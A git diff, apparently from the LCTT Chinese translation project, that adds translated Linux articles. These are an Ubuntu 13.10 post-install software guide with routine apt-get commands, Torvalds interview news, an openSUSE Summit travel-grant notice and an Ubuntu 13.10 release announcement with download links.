+[Pidgin][18]是最好的即时消息客户软件,有30个插件,你能和朋友进行语音或视频聊天。 + +要安装Pidgin,键入如下命令: + + $ sudo apt-get install pidgin + +**aMSN** + +[aMSN][19]是一款免费的windows Live Messenger的克隆版本软件。aMSN在外观和感觉上很像windows Live Messenger,并且支持windows Live Messenger的很多功能。 + +aMSN具有Windows Live Messenger没有的功能。用户可以设置报警器,能够查看把自己从别人的联系人列表中删除的用户的信息,能够一次打开多个个人介绍页面。它也具有可定制功能,在主页面上可以自定义主题及定义扩展。 + +要安装aMSN,在你的终端中键入如下命令: + + $ sudo apt-get install amsn + +**Skype:** + +如果你想安装Skype,查看我们以前的文章:[Ubuntu 13.04 ‘Raring Ringtail’中如何安装Skype][20] + +**Jitsi:** + +Jitsi是用Java编写的,开源多平台的音频/视频网络电话和即时通讯软件。它支持一些最流行的像SIP、Jabber/ XMPP协议(有 hence Facebook和Google Talk)、AIM、ICQ、MSN、雅虎通等即时通讯和电话协议。 + +至于详细的Jitsi介绍,请点击下面的连接来查看我们以前的文章。 + +[在Ubuntu中安装Jitsi即时通讯软件][21] + +## 11. 游戏或模拟器 ## + +**有了Playdeb游戏变得容易了:** + +如果你是游戏发烧友,添加PlayDeb源到你的开机上就很有必要了。PlayDeb是一个Ubuntu的游戏源库。在getdeb.net网站上已经提供了一个简单的安装和更新格式标题,你只要通过简单的点击就能安装很多游戏。 + +[点击安装PlayDeb源库][22] + +**Wine** + +Wine可以在Linux、Mac、FreeeBSD和Solaris这些系统上运行windows系统上的应用程序,而不需要微软windows系统的支持。Wine一款自由软件,它正在不断发展,这使得其它平台也从中得到很多好处。 + + sudo apt-get install wine + +或者 + +请参考下面的说明: [WINE中怎么样安装和配置游戏][23] + +## 12. 文件、文件夹共享 ## + +**Samba:** + +为了把我们**Raring Ringtail**系统上的文件和网络中的其它Linux机器或windows机器共享,你需要安装和配置Samba共享服务。具体怎么样在Ubuntu上配置Samba,请查看我们以前的帖子:[在Ubuntu 13.04 ‘Raring Ringtail上安装和配置Samba共享][24]。 + +**Gigola:** + +Gigola是在Linux和Widows系统之间共享文件的另外一种选择。与Samba不同的是,我们可以使用Gigola命令在Linux到Linux或者Linux到Windows之间互相传送文件。 + +从下面的链接中学习更多的Gigola知识。 + +[使用Gigolo怎么样访问远程的Linux或Windows机器][25] + +## 13. 附加功能及杂项 ## + +###安装压缩包管理应用程序### + +安装以下软件包将允许您处理几乎所有的文件及任何zip格式的文件。 + + sudo apt-get install unace unrar zip unzip p7zip-full p7zip-rar sharutils rar uudeview mpack arj cabextract file-roller + +###Y PPA Manager### + +Y PPA Manager是一款图形用户界面应用工具程序。使用它能很容易的添加PPA、在所有[Launchpad PPAs][26]中搜索某个软件包,删除重复的PPA(只适用于以.分隔的列表文件)、备份PPA和其它PPA相关的任务。查看Launchpad页面,可以看到完整的功能列表。 + + sudo add-apt-repository ppa:webupd8team/y-ppa-manager + sudo apt-get update + sudo apt-get install y-ppa-manager + +Y-PPA-Manager既可以从Dash中打开也可以从菜单中打开。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Y-PPA-Manager_015.png) + +###安装Java 7### + +Java是一个快速,安全及可靠的编程和计算平台。有许多的应用程序和网站都是运行在Java基础上的,如果不安装Java,根本就没法运行。现在越来越多的应用都基于Java创建。要安装java,可以在终端上简单的输入如下命令。 + + sudo apt-get install openjdk-7-jdk + +如果你想安装oracle公司的java 7,试着按照下面的步骤来。 + +首先,在你终端上按如下所示运行命令删除OpenJDK: + + sudo apt-get purge openjdk* + +现在添加如下的源,就可以安装Java 7了: + + sudo add-apt-repository ppa:webupd8team/java + sudo apt-get update + sudo apt-get install oracle-java7-installer + +要删除Java 7,在终端运行上运行这条: + + sudo apt-get remove oracle-java7-installer + +###FileZilla### + +[Filezilla][27]是Linux平台上最好的ftp客服端软件之一。 + +通过命令行安装它: + + sudo apt-get install filezilla + +###Dropbox### + +Dropbox是一款免费的服务,可以把您的所有照片,文档和视频分发到任何地方。这意味着,你保存到Dropbox的文件会自动保存你所有的电脑,手机,甚至[Dropbox网站][28]。不管你是学生、专业人士、父母级人物或者祖父母级人物,用Dropbox与其它人分享也超级简单。 + +[下载Dropbox软件包][29] + +###Oracle VirtualBox### + +你果你想用虚拟机运行其它操作系统,就安装Virtualbox吧。 + +要安装的话,请[按照我们以前的帖子中的指示][30]。 + +###Cheese: 网络摄像软件### + +Cheese使用您的摄像头拍照和录像,并支持非常花哨的特效,提供让您与他人分享的乐趣。要在你的Ubuntu桌面系统上安装cheese,键入如下命令: + + sudo apt-get install cheese + +###digikam### + +digiKam是一个高级的数码照片管理应用程序,适用于Linux,Windows和Mac OS X 系统。在Linux系统上,摄影师可以用它来查看、管理、编辑、增强、组织、做标签以及共享照片。 + +用命令行,你能很容易的安装: + + sudo apt-get install digikam + +###Gimp### + +日常生活中,不管你是需要对图像进行专业级别的编辑,还是业余级的编辑,GIMP都是能胜任的必需工具之一。 + + sudo apt-get install gimp gimp-data gimp-plugin-registry gimp-data-extras + +###安装Compiz### + +使用如下命令来安装Compiz: + + sudo apt-get install compiz compizconfig-settings-manager compiz-plugins + +## 14. 桌面特效 ## + +想要使用很棒的壁纸给你的桌面增点趣味吗?那你就要使用下面的两款应用程序了。他们会让你的桌面壁纸每隔一段时间就换一张。 + +**Variety:** + +Variety是一款Ubuntu的换壁纸应用程序。它功能齐全,还不大,并且很容易使用。它会从各种在线源,比如Flickr、Wallbase.cc、阳光世界地图(随着时间而变动的动态壁纸)、Wallpapers.net、NASA每日的天文图片、Desktoppr.co等等自动下载壁纸。它可以设定定期或按要求循环切换这些壁纸,还提供了一项很容易就能从大量壁纸中挑出精美壁纸的功能。 + +要在Ubuntu下安装,请参照我们以前的文章。 + +[在Ubuntu/Linux Mint系统上使用Variety来自动更换桌面壁纸][31] + +**Wallch:** + +Wallch是一款应用程序,它能在一个特定的时间内自动切换你的Ubuntu(Ubuntu的衍生版本)系统的桌面壁纸。它既支持Gnome桌面也支持Unity桌面,它也能停止/启动切换到下一张/上一张壁纸。Wallch也支持每半小时更新一次的动态地球壁纸,因些你可以把动态地球壁纸设置成你的桌面背景。 + +要在Ubuntu下安装,请参照我们以前的文章。 + +[用Wallch自动改变Ubuntu系统的壁纸][32] + +## 15. 其它值得一试的应用软件 ## + +**App Grid:** + +App Grid是一款Ubuntu软件中心(Ubuntu Software Center)的轻量级的替代应用程序。它具有根据已经安装、待安装、类别、名字、等级等条件来筛选应用软件的功能。它具有专有许可发行权限,并且在Ubuntu 12.04、12.10、13.04和13.10都是可用的。 + +关于App Grid的更多详细介绍,请查看我们以前的文章,下面是相关连接。 + +[App Grid:Ubuntu Software Center的新替代软件][33] + +**Boot UP Manager(BUM):** + +Boot-Up Manager是一款基于Perl-Gtk2的应用程序,用它可以管理任何基于Ubuntu/Debian衍生系统的运行级别的配置脚本。使用这个程序,我们可以很容易地启动和停止服务及脚本,无需处理复杂的符号链接和权限。 + +关于BUM的更多详细介绍,请查看我们以前的文章,下面是相关连接。 + +[Ubuntu/Debian系统上用BUM (Boot-Up Manager)管理启动相关服务][34] + +**TLP: 改善电池性能** + +TLP是Linux下一款高级电源管理工具程序,它会自动的设置和调整当前的机器,以提高现有的电源管理,而不需要用户知道具体的技术细节。它是纯命令行工具,并没有图形用户界面(GUI),所以在几乎所有的笔记本电脑上都可以运行。 + +关于TLP的更多详细介绍,请查看我们以前的文章,下面是相关连接。 + +[在Linux中使用TLP来提高笔记本电脑电池的使用寿命][35] + +**BleachBit: 清理你的系统** + + BleachBit删除不必要的文件,释放缓存,删除cookies,清除上网历史,粉碎临时文件,删除日志,并丢弃你不知道存放在哪的垃圾。这工具既可用于Windows系统,也可用于Linux系统,也支持如Firefox、 Internet Explorer、Adobe Flash、Google Chrome、Opera、Safari等应用程序的缓存清理。它不仅可以删除文件,还包含了一些高级功能,如粉碎文件,以防止恢复,擦除可用磁盘空间来隐藏由其他应用程序中删除文件的痕迹,清理火狐浏览器使其更快。 + +关于BleachBit的更多详细介绍,请查看我们以前的文章,下面是相关连接。 + +[BleachBit清理你的系统][36] + +也可以安装下面这些有用的软件。某些时候,它们对你很有帮助。 + +[Opera][37] – 地球上最快的浏览器,甚至更快。但不是它所有的。在网络连接速度慢的时候,在你的下载页面使用Opera Turbo,会使下载速度加快两倍。 + +[Google Chrome][38] – Google的网络浏览器 + +[Google Earth][39] – 世界各地的城市旅行,潜入海洋深处,探索偏远的岛屿,甚至飞到遥远的星系。 + +现在你已经到达这篇文章的末尾了。到这里,相信你的Ubuntu 13.10桌面系统已经十分完善了。祝贺一下!! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/top-things-installing-ubuntu-13-10/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +[1]:http://linux.cn/article-2128-1.html +[2]:http://www.unixmen.com/2012003-howto-resolve-nosound-problem-on-ubuntu/ +[3]:http://www.unixmen.com/resolve-slow-connexion-when-using-wifi-in-ubuntu-1104-natty-narwhal +[4]:http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/ +[5]:http://www.unixmen.com/after-a-fresh-install-of-ubuntu-1010-maverick-meerkat-configuration-made-easy-with-ubuntu-tweak/ +[6]:http://www.unixmen.com/lefebvre-clem-gives-new-cinnamon-de-for-the-good-old-gnome-2x-experience/ +[7]:http://news.softpedia.com/news/Cinnamon-2-0-Corrupts-Unity-on-Ubuntu-13-10-390736.shtml +[8]:http://conky.sourceforge.net/ +[9]:http://www.unixmen.com/configure-conky-lua-in-ubuntu-11-10-12-04-fedora-debian-and-linuxmint-howto-conky/ +[10]:http://www.unixmen.com/nice-collection-of-iconsets-themes-for-your-linux-desktop-with-installation-instructions-ubuntu-ppa/ +[11]:http://www.unixmen.com/042013-top-things-to-do-after-installing-ubuntu-13-04-raring-ringtail/www.videolan.org +[12]:http://www.unixmen.com/22-things-you-can-do-with-vlc/ +[13]:http://www.unixmen.com/xbmc-11-0-eden-has-been-released-ppa-ubuntu/ +[14]:http://www.openshotvideo.com/ +[15]:http://www.unixmen.com/interview-with-jonathan-thomas-of-openshot/ +[16]:http://www.unixmen.com/how-to-encode-moviesvideos-using-handbrake/ +[17]:http://www.unixmen.com/how-to-install-utorrent-on-ubuntu-debian/ +[18]:http://www.pidgin.im/ +[19]:http://www.unixmen.com/042013-top-things-to-do-after-installing-ubuntu-13-04-raring-ringtail/www.amsn-project.net/ +[20]:http://www.unixmen.com/howto-install-skype-in-ubuntu-12-04-precise-pangolin/ +[21]:http://www.unixmen.com/top-things-installing-ubuntu-13-10/www.unixmen.com/install-jitsi-instant-messenger-ubuntu/ +[22]:http://archive.getdeb.net/install_deb/playdeb_0.3-1%7Egetdeb1_all.deb +[23]:http://www.unixmen.com/install-and-configure-wine-to-play-latest-windows-games-in-linux-ubuntu-linuxmint-fedora/ +[24]:http://www.unixmen.com/howto-install-and-configure-samba-share-in-ubuntu/ +[25]:http://www.unixmen.com/how-to-access-remote-linux-and-windows-shares-with-gigolo/ +[26]:https://launchpad.net/y-ppa-manager +[27]:http://www.filezilla-project.org/ +[28]:http://www.dropbox.com/ +[29]:https://www.dropbox.com/install?os=lnx +[30]:http://www.unixmen.com/virtualbox-4-1-12-has-been-released-ppa-ubuntu12-04-lts/ +[31]:http://www.unixmen.com/automatically-change-the-desktop-wallpaper-using-variety-on-ubuntulinux-mint/ +[32]:http://www.unixmen.com/change-ubuntu-systems-wallpaper-automatically-wallch/ +[33]:http://www.unixmen.com/app-grid-a-new-alternative-for-ubuntu-software-center/ +[34]:http://www.unixmen.com/manage-startup-services-with-bumboot-up-manager-on-ubuntudebian/ +[35]:http://www.unixmen.com/how-to-improve-laptop-battery-life-and-usage-in-linux-using-tlp/ +[36]:http://www.unixmen.com/clean-up-your-linux-systems-using-bleachbit/ +[37]:http://www.opera.com/browser/ +[38]:http://www.google.com/chrome/index.html?hl=en-GB&brand=CHMB&utm_campaign=nl&utm_source=nl-ha-emea-nl-bk&utm_medium=ha +[39]:http://www.unixmen.com/how-to-install-google-earth-in-linux/ +[40]:http://baike.baidu.com/view/57872.htm \ No newline at end of file diff --git a/published/201310/Torvalds--Apple's free OS is no threat to Linux.md b/published/201310/Torvalds--Apple's free OS is no threat to Linux.md new file mode 100644 index 0000000000..30561e3eb9 --- /dev/null +++ b/published/201310/Torvalds--Apple's free OS is no threat to Linux.md @@ -0,0 +1,35 @@ + +Torvalds:苹果的免费OS对Linux根本不构成威胁 +================================================================================ + +###Linux之父说他将一直奋战在OS第一线,直到某天他感到厌烦,或是医生诊断他无法再继续为止。### + +苹果最新发布的免费操作系统,OS X Mavericks,将不会对Linux操作系统造成任何影响。Linux的创造者Linux Torvalds如是说道。 + +![](http://photos.pcpro.co.uk/images/front_picture_library_PC_Pro/dir_402/it_photo_201031_52.jpg) + +本周三,爱丁堡,欧洲LinuxCon大会,Torvalds在其中一次访谈中说,Linux作为操作系统已经走过了22个年头,而苹果在周二关于免费提供操作系统的决定和Linux的哲学相比,是完全不同的,事实上,Torvalds说自己使用开源产品而不是免费软件,其中一个原因就是,开源和免费有根本上的不同。 + +虽然苹果的Mavericks更新可能是免费的,但是它并不开源,人们如果想要使用该操作系统,仍然需要购买昂贵的硬件。他说:“事实上,苹果[推出的免费OS][1]完全是一个和免费毫不相干的噱头,我认为它完全不会影响到Linux。” + +当被问道什么情况下选择退休的时候,Torvalds说他一直以来从未考虑过退休,“关于这个,大伙儿还是省省心吧,等到时候再说。”但他表示,如果将来某一天,他觉得自己写不动代码,或是医生告诉他应该停止的时候,他就会退休。 + +最近这些天Torvalds仍旧不打算做太多编程方面的工作,他还在享受各种各样的会议和访谈,他说,“人们只是认识我而已,(其实他们并不了解我)”。据Torvalds讲,尽管有时他会形容开发者们拥有像“雨林低等微生物般的注意力时间”,但当内核开发者和运维人员找到他的时候,他还是会有求必应。除此以外,他还说自己所承担的另一部分职责是能够适时地否决,“No,我们不能这么干!” + +Torvalds说,即使自己受到很多人的打击和质疑,但Linux仍将继续一往无前。20多年来有数千人参与到Linux的开发中,有的人从最开始一直坚持到了现在,“我们的开发团队拥有难以置信的人员储备深度”。 + +他说,“我是个公众人物,人们都认识我,知道我如何工作。这意味着,他们可能并不总是喜欢我的所作所为、所说所想,但是人们可以相信,我有自己独特的一套行为方式,这很重要。”当被问及为何有时会发怒上火,他补充道,“然而,还有些人确实很不礼貌,可以给这些人‘打打补丁’。” + +Torvalds说他并没有若干年内终止Linux的计划。“我从没有过这样的计划,将来也不会有。这就像生物学中的进化论:进化不会终止。Linux的生存也是如此。”他说,Linux将会一直以同样的方式持续进化和改进。 + +“我不知道Linux最终将去往何方,但我并因此不担心,就让一切顺其自然吧……” + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/t/linux/torvalds-apples-free-os-no-threat-linux-229355 + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.infoworld.com/t/mac-os-x/apples-biggest-new-announcement-was-the-free-os-x-upgrade-229257 diff --git "a/published/201310/Torvalds--SteamOS will\342\200\234really help\342\200\235Linux on desktop.md" "b/published/201310/Torvalds--SteamOS will\342\200\234really help\342\200\235Linux on desktop.md" new file mode 100644 index 0000000000..dcea80016e --- /dev/null +++ "b/published/201310/Torvalds--SteamOS will\342\200\234really help\342\200\235Linux on desktop.md" @@ -0,0 +1,41 @@ +Torvalds:SteamOS将“真正帮助”Linux桌面系统实现逆袭 +================================================================================ +Linus Torvalds非常欢迎Valve公司的SteamOS系统入驻Linux平台,表示它将大力推动Linux桌面系统的发展。 + +Linux之父大力赞扬Valve的“独到眼光”,表示这一合作将迫使其他生产商开始认真重视Linux,特别是游戏开发商们将开始摒弃Windows。 + +他在上周三爱丁堡举行的LinuxCon大会上说道,“我爱Steam —— 我认为这是一个能真正帮助Linux桌面系统的大好机会!” + +Valve上个月发布了关于SteamOS的声明,表示这将是一种把PC游戏带入起居室的新体验。用户可以在自己任意的PC电脑上安装SteamOS,而Valve将在另一端负责SteamOS匹配各个生产商的硬件系统。 + +> 我爱Steam —— 我认为这是一个能真正帮助Linux桌面系统的大好机会! + +硬件生产商们也将大力扩展对Windows以外系统的驱动程序支持,而SteamOS将以此获得更多游戏玩家和开发商的青睐。 + + +说到这一点,就涉及到了Torvalds的痛处。去年Nvidia宣布放弃支持开源系统图形芯片的驱动开发,他对此进行了[猛烈抨击][1]。如今SteamOS选择了Linux,Nvidia的大门重新对Linux社区敞开,Torvalds预言这预示着新的发展机会即将到来。 + +他说,“我并不是说它单单只是帮助我们吸引显卡厂商的注意,它还迫使Linux的各个发行版意识到Steam是一个发展趋势,他们必须抓住这个趋势,因为一旦落下被孤立,发行版们是负担不起的,他们都想让人们在自己的平台上运行这套系统玩游戏。” + +“这就是‘标准化’的最佳例证,”他说,“我认为好的标准能使人们事半功倍、信心满满,足以推动整个市场的发展。” + +###漂亮的登录窗口### + +Torvalds表示,Linux在桌面系统领域一直表现不佳的另一个原因是开发者们总是专注于毫无用处的用户体验特效(UX features)。 + +“Linux始终在各个领域表现都非常出色,但我还是对Linux桌面系统的现状多少有些失望,内耗、不干正事、一团糟。” + +他还补充道,“我真心希望Linux的各个桌面系统能携起手来,更多专注于技术,而不是总想着如何让登陆窗口看起来更漂亮。” + +Torvalds并没有提到某个具体的公司,但之前[他曾对Google的Chromebook Pixel大加赞赏][2],认为跟基于Linux的Chrome OS比起来,其他PC就是一坨“crap”(译者注,这个单词读shi,第三声)。 + +-------------------------------------------------------------------------------- + +via: http://www.pcpro.co.uk/news/384934/torvalds-steamos-will-really-help-linux-on-desktop + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.wired.com/wiredenterprise/2012/06/torvalds-nvidia-linux/ +[2]:https://plus.google.com/+LinusTorvalds/posts/dk1aiW4JjHd \ No newline at end of file diff --git a/published/201310/Travel support applications to attend openSUSE Summit opened!.md b/published/201310/Travel support applications to attend openSUSE Summit opened!.md new file mode 100644 index 0000000000..82511d396b --- /dev/null +++ b/published/201310/Travel support applications to attend openSUSE Summit opened!.md @@ -0,0 +1,41 @@ +申请旅行赞助去参加openSUSE峰会 +=== + +我们高兴地宣布,旅行组已准备好接受参加[openSUSE2013峰会][1]的赞助申请(TSP)。 + +![](http://news.opensuse.org/wp-content/uploads/2013/09/LogoSunIdeaPeach-214x300.png) + +今年openSUSE峰会将于11月15日到17日在美丽的佛罗里达举行,[迪斯尼的科罗纳多温泉度假村][2]将欢迎所有的Geekos参与今年的活动。 + +OpenSUSE旅游支持计划向想要出席openSUSE峰会并需要财政援助的个人提供旅游赞助。 + +今年的峰会TSP会有些不同。TSP将准备2个电话。第一个电话的最后期限是2013年10月3日且你现在可以开始发送你的申请了。结果将在2013年10月8日之前公布。第二个电话将开始于2013年10月11日,结束于2013年10月17日。结果在2013年10月22日之前公布。重要的是,第二个电话是为那些已经申请了[CfP][3]且在第一个电话结束前没有答复的。当然,即使申请了也还没有答复的,你都可以在第一个电话发送你的应该程序。 + +关于TSP你可以看这里https://en.opensuse.org/openSUSE:Travel_Support_Program 详细说明在https://connect.opensuse.org/travel-support/。 + +![](http://news.opensuse.org/wp-content/uploads/2013/09/suitcase-300x227.jpg) + + +重点 + +- 信息填写完整的申请将会得到更快的处理。 +- 只要有可能就选择最经济的选择。那些需要旅游赞助的人,应该寻找最便宜的价格。如果旅游委员会发现一个更便宜的价格,就会考虑这个价格。 + +还有疑问的,请给我们邮件 travel-support@opensuse.org + +不要忘记....[参与的呼声][3]仍然高涨,赶快行动! + +via: + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[wxy]:http://linux.cn/space/wxy + +[1]:http://summit.opensuse.org/ +[2]:http://summit.opensuse.org/#location +[3]:http://summit.opensuse.org/#cfp diff --git a/published/201310/Ubuntu 13.10 (Saucy Salamander) Officially Released.md b/published/201310/Ubuntu 13.10 (Saucy Salamander) Officially Released.md new file mode 100644 index 0000000000..288886d023 --- /dev/null +++ b/published/201310/Ubuntu 13.10 (Saucy Salamander) Officially Released.md @@ -0,0 +1,129 @@ +Ubuntu 13.10(俏皮的蝾螈)的下载链接 +================================================================================ +**Canonical 宣布他们下一代操作系统 —— Ubuntu 13.10(俏皮的蝾螈)官方版已经发布,并可以下载了。** + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-13-10-Saucy-Salamander-Officially-Released-391964-2.jpg) + +和上一版本Ubuntu13.04(铆足了劲的猫熊)相比,Ubuntu 13.10(俏皮的蝾螈)看起来好像并没有多大变。但是至少在系统的稳定性上,还是有着明显的变化。 + +新版本内核的加入是Ubuntu众多重要变化中比较突出的一个,这样一来Ubuntu就拥有了最新的稳定版内核。 +这对新硬件的拥有者来说,绝对是一个令人兴奋的消息。这样一来,他们就能够尽情享受新系统给他们带来的乐趣,而不会因意外的麻烦而困扰。 + +通过开发者的努力,Ubuntu13.10囊括了3.11.0-12.19版本的Linux内核,它是基于v3.11.3的上游版本开发而成的。 + +其他比较重要的改进包括一系列AppArmor性能的提升,这在开发周期中就已经吸引了不少的目光。 + +例如,支持精细数据总线的调停,绑定名称,项目路径,接口,成员和方法。AppArmor已经被集成到几个服务当中,它们作为ApplicationConfinement的一部分,支持在Ubuntu 应用商店和软件包方式安装;也支持通过aa-easyprof工具生成规则,并且apparmor-easyprof-ubuntu规则也被改进了 + +伴随Ubuntu13.10(俏皮的蝾螈)而来的图形界面依旧是Unity7,而不是万众瞩目的Unity8,这不得不说是一种遗憾。不过没关系,Unity8将会被应用在手机中,到时候就可以和大家见面了。 + +在任何情况下,用户都会享受"101 Scopes" 升级。之前称之为Lenses的Scopes已经被更好的集成在Unity中,它能够提为用户的询问提供更多的回答。 + +用户只要打开软件源然后按Alt+F2并录入"update-manager"(没有引号)到命令框里面,就能够马上更新到最新版本的Ubuntu。 + +这将会触发一系列的升级并且不需要你等待太多的时间。只需要遵循说明,你就会马上完成Ubuntu13.10安装。 + +##如果你想要全新安装,就来下载Ubuntu 13.10(俏皮的蝾螈)吧## + +**下载 Ubuntu 13.10 (Saucy Salamander).** + +- [Ubuntu 13.10 (ISO) 32-bit][2][iso] [895 MB] +- [Ubuntu 13.10 (ISO) 64-bit][3][iso] [883 MB] +- [Ubuntu 13.10 (ISO) 64-bit + Mac][4][iso] [881 MB] + +**下载 Ubuntu Server 13.10 (Saucy Salamander).** + +- [Ubuntu Server 13.10 (ISO) 32-bit][5][iso] [658 MB] +- [Ubuntu Server 13.10 (ISO) 64-bit][6][iso] [672 MB] +- [Ubuntu Server 13.10 (ISO) 64-bit Mac][7][iso] [673 MB] +- [Ubuntu Server 13.10 (img) Armhf + OMAP4][8][binary] [694 MB] + +**下载 Ubuntu Core 13.10 (Saucy Salamander).** + + +- [Ubuntu Core 13.10 tar.gz (32-bit)][9][sources] [37 MB] +- [Ubuntu Core 13.10 tar.gz (64-bit)][10][sources] [38 MB] +- [Ubuntu Core 13.10 tar.gz (PowerPC)][11][sources] [37 MB] + +**下载 Ubuntu Studio 13.10 (Saucy Salamander).** + +- [Ubuntu Studio 13.10 (ISO) 32-bit][12][iso] [2.40 GB] +- [Ubuntu Studio 13.10 (ISO) 64-bit][13][iso] [2.40 GB] + +**下载 Kubuntu 13.10 (Saucy Salamander).** + +- [Kubuntu 13.10 (ISO) 32-bit][14][iso] [1 GB] +- [Kubuntu 13.10 (ISO) 64-bit][15][iso] [1 GB] + +**下载 Xubuntu 13.10 (Saucy Salamander).** + +- [Xubuntu 13.10 (ISO) 32-bit][16][iso] [834 MB] +- [Xubuntu 13.10 (ISO) 64-bit][17][iso] [842 MB] + +**下载 Edubuntu 13.10 (Saucy Salamander).** + +- [Edubuntu 13.10 (ISO) 32-bit][18][iso] [2.80 GB] +- [Edubuntu 13.10 (ISO) 64-bit][19][iso] [2.80 GB] + +**下载 Lubuntu 13.10 (Saucy Salamander).** + +- [Lubuntu 13.10 (ISO) 32-bit Alternate CD][20][iso] [663 MB] +- [Lubuntu 13.10 (ISO) 64-bit Alternate CD][21][iso] [674 MB] +- [Lubuntu 13.10 (ISO) 64-bit + Mac Alternate CD][22][iso] [677 MB] +- [Lubuntu 13.10 (ISO) PowerPC Alternate CD][23][iso] [703 MB] +- [Lubuntu 13.10 (ISO) 32-bit Desktop CD][24][iso] [696 MB] +- [Lubuntu 13.10 (ISO) 64-bit Desktop CD][25][iso] [702 MB] +- [Lubuntu 13.10 (ISO) PowerPC Desktop CD][16][iso] [710 MB] +- [Lubuntu 13.10 (ISO) 64-bit + Mac Desktop CD][17][iso] [700 MB] +- [Lubuntu 13.10 (tar.gz) Armhf + AC100][28][binary] [469 MB] + +**下载 Ubuntu-GNOME 13.10 (Saucy Salamander).** + +- [Ubuntu GNOME 3.10 (ISO) 32-bit][29][iso] [876 MB] +- [Ubuntu GNOME 3.10 (ISO) 64-bit][30][iso] [865 MB] + +**下载 Ubuntu Kylin 13.10 (Saucy Salamander).** + +- [Ubuntu Kylin 13.10 (ISO) 32-bit][31][iso] [934 MB] +- [Ubuntu Kylin 13.10 (ISO) 64-bit][32][iso] [941 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-13-10-Saucy-Salamander-Officially-Released-391964.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[rogetfan](https://github.com/rogetfan) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.canonical.com/content/latest-ubuntu-1310-includes-first-step-mobile-pc-convergence +[2]:http://releases.ubuntu.com/saucy/ubuntu-13.10-desktop-i386.iso +[3]:http://releases.ubuntu.com/saucy/ubuntu-13.10-desktop-amd64.iso +[4]:http://releases.ubuntu.com/saucy/ubuntu-13.10-desktop-amd64+mac.iso +[5]:http://releases.ubuntu.com/saucy/ubuntu-13.10-server-i386.iso +[6]:http://releases.ubuntu.com/saucy/ubuntu-13.10-server-amd64.iso +[7]:http://releases.ubuntu.com/saucy/ubuntu-13.10-server-amd64+mac.iso +[8]:http://releases.ubuntu.com/saucy/ubuntu-13.10-server-armhf+omap4.img +[9]:http://cdimage.ubuntu.com/ubuntu-core/releases/13.10/release/ubuntu-core-13.10-core-i386.tar.gz +[10]:http://cdimage.ubuntu.com/ubuntu-core/releases/13.10/release/ubuntu-core-13.10-core-arm64.tar.gz +[11]:http://cdimage.ubuntu.com/ubuntu-core/releases/13.10/release/ubuntu-core-13.10-core-powerpc.tar.gz +[12]:http://cdimage.ubuntu.com/ubuntustudio/releases/13.10/release/ubuntustudio-13.10-dvd-i386.iso +[13]:http://cdimage.ubuntu.com/ubuntustudio/releases/13.10/release/ubuntustudio-13.10-dvd-amd64.iso +[14]:http://cdimage.ubuntu.com/kubuntu/releases/13.10/release/kubuntu-13.10-desktop-i386.iso +[15]:http://cdimage.ubuntu.com/kubuntu/releases/13.10/release/kubuntu-13.10-desktop-amd64.iso +[16]:http://cdimage.ubuntu.com/xubuntu/releases/13.10/release/xubuntu-13.10-desktop-i386.iso +[17]:http://cdimage.ubuntu.com/xubuntu/releases/13.10/release/xubuntu-13.10-desktop-amd64.iso +[18]:http://cdimage.ubuntu.com/edubuntu/releases/13.10/release/edubuntu-13.10-dvd-i386.iso +[19]:http://cdimage.ubuntu.com/edubuntu/releases/13.10/release/edubuntu-13.10-dvd-amd64.iso +[20]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-i386.iso +[21]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-amd64.iso +[22]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-amd64+mac.iso +[23]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-powerpc.iso +[24]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-i386.iso +[25]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-amd64.iso +[26]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-powerpc.iso +[27]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-amd64+mac.iso +[28]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-preinstalled-desktop-armhf+ac100.tar.gz +[29]:http://cdimage.ubuntu.com/ubuntu-gnome/releases/13.10/release/ubuntu-gnome-13.10-desktop-i386.iso +[30]:http://cdimage.ubuntu.com/ubuntu-gnome/releases/13.10/release/ubuntu-gnome-13.10-desktop-amd64.iso +[31]:http://cdimage.ubuntu.com/ubuntukylin/releases/13.10/release/ubuntukylin-13.10-desktop-i386.iso +[32]:http://cdimage.ubuntu.com/ubuntukylin/releases/13.10/release/ubuntukylin-13.10-desktop-amd64.iso diff --git "a/published/201310/Ubuntu 13.10 Released \342\200\223 But Is It An Essential Upgrade.md" "b/published/201310/Ubuntu 13.10 Released \342\200\223 But Is It An Essential Upgrade.md" new file mode 100644 index 0000000000..7f8f968fe2 --- /dev/null +++ "b/published/201310/Ubuntu 13.10 Released \342\200\223 